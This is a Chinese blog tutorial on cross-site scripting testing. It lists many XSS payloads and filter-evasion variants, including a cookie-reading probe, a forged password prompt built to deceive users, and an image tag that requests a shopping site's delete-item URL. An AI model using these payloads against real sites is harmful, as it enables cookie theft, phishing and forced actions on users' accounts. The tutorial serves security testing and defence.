Cross Cite Scripting

白盒状态下,检测源码中用户输入的地方和变量是否对长度和对”〈”,”〉”,”;”,”’”等字符进行过滤。

黑盒测试时,有时输入〈script〉alert(‘test’)〈/script〉,代码没有被执行的,因为在源代码里,可能有其它的标签未闭合,如少了一个〈/script〉,这个时候,只要闭合一个〈/script〉,代码就会执行,如:在标题处输入〈/script〉〈script〉alert(‘test’)〈/script〉,这样就可以弹出一个test的框。

 

html标签中 属性onerror和onload可以被用来自动加载构造的代码。

例如:

<img src=x οnerrοr=;;alert('XSS') />

或者

<img src="images/logos/owasp.jpg" οnlοad="JavaScript:alert('XSS')"/>

PS:img标签可以<img />代替标签对的作用。

再PS:Javascript可以用上述的形式调用,而不需要尖括号的标签对引入,WHY?

 

 

<img src=x οnerrοr=alert(document.cookie)>

或者 <img src=”http://www.paipai.com/delitem?itemid=232131312”>

 

 

再例:

在iframe标签中也可以实现攻击

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

 

Iframe是Inline Frame的缩写,称为内联框架(即嵌入式框架),它和frame如同兄弟。

frame是帧标记,Iframe叫浮动帧标记,它不同于Frame标记最大的特征即这个标记所引用的HTML文件不是与另外的HTML文件相互独立显示,而是可以直接嵌入在一个HTML文件中,与这个HTML文件内容相互融合,成为一个整体;因为它可以多次在一个页面内显示同一内容,而不必重复写内容。 

iframe可以很方便的在网页的任何地方,引入其他页相对<frame> 来说灵活很多,而且可以利用iframe中网页的javascript编程,还可以灵活的来控制iframe和parent之间的关系。

 

Iframe标记使用格式,如下:  
<Iframe src="yourframe.htm" width="700" height="100" scrolling="NO" frameborder="0" name="main"></iframe>  
其中的各个含义是: 
src: 文件的路径,既可是HTML文件,也可以是文本、ASP等; 
width、height:“内部框架”区域的宽与高; 
scrolling:当SRC的指定的HTML文件在指定的区域内显示不完时的滚动选项,如果设置为NO,则不出现滚动条;如为Auto:则自动出现滚动条;如为Yes,则显示滚动条。 
FrameBorder:区域边框的宽度,只有0和1两个值,分别表示没有边框和有边框,为了让“内部框架”与邻近的内容相融合,常设置为0。 
name:框架的名字,用来进行识别。

 

 

在要显示位置加入password输入框

Please enter your password:

<BR><input type = "password" name="pass"/><button onClick="javascript:alert('I have your password: ' + pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>

这么多BR标签的用处是增加许多新的行 使得呈现出来的页面将原有的输入框排到下方,而直接将构造出的新的password输入框呈现出来,欺骗用户进行输入。

PS:input控件的type属性置为password,用户输入时就看不到密码原文,以黑点代替!

 

 

以下内容则摘自

http://www.gracecode.com/archives/2491/

 

Javascript 代码注入

Javascript 代码注入主要表现为直接引用未经校验的字符串、解析不安全的 JSON 数据(包括 JSONP)等。

很多时候会写这样的代码

document.write('u name is' + name);

这就会形成一定的安全性问题(如果服务器端没有过滤的话),比如 name 为下面的数据,在没有经过过滤时

';alert('xss');//
";alert('xss');//
'';!--"<xss>=&{()}

就会破坏原有代码结构,插入不期望的代码。

HTML 标签注入

HTML 注入是较为常见的一种方式,主要的注入入口为不周全的正则过滤、内联样式(针对 Exploer),下面是常见的注入代码

逃过不周全的正则过滤,解决方案为使用 PHP 的 htmlspecialchars 以及 htmlentities 等类似函数转义。

<sCrIpT src=xss.js></sCrIpT>
<script src=xss.js>
</script>
<script/xss src="xss.js"></script>
<script/SRC="xss.js"></script>
<<script>alert("xss");//<</script>
<script>a=/xss/
alert(a.source)</script>

从图片标签中注入,在些论坛上比较常见

<img src="javascript:alert('xss');">
<img """><script>alert("xss")</script>">
<img src="xss.php?param">

从连接标签上注入(虽然本人没有发现过案例,不过也不能轻视)

<script a=">" SRC="xss.js"></script>
<script =">" SRC="xss.js"></script>
<script a=">" '' SRC="xss.js"></script>

其他容易注入的地方

<body οnlοad=alert('xss')>
<iframe src="javascript:alert('xss');"></iframe>
<embed src="xss.swf" AllowScriptAccess="always"></embed>
<meta http-equiv="Set-Cookie" content="USERID=<script>alert('xss')</script>">

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值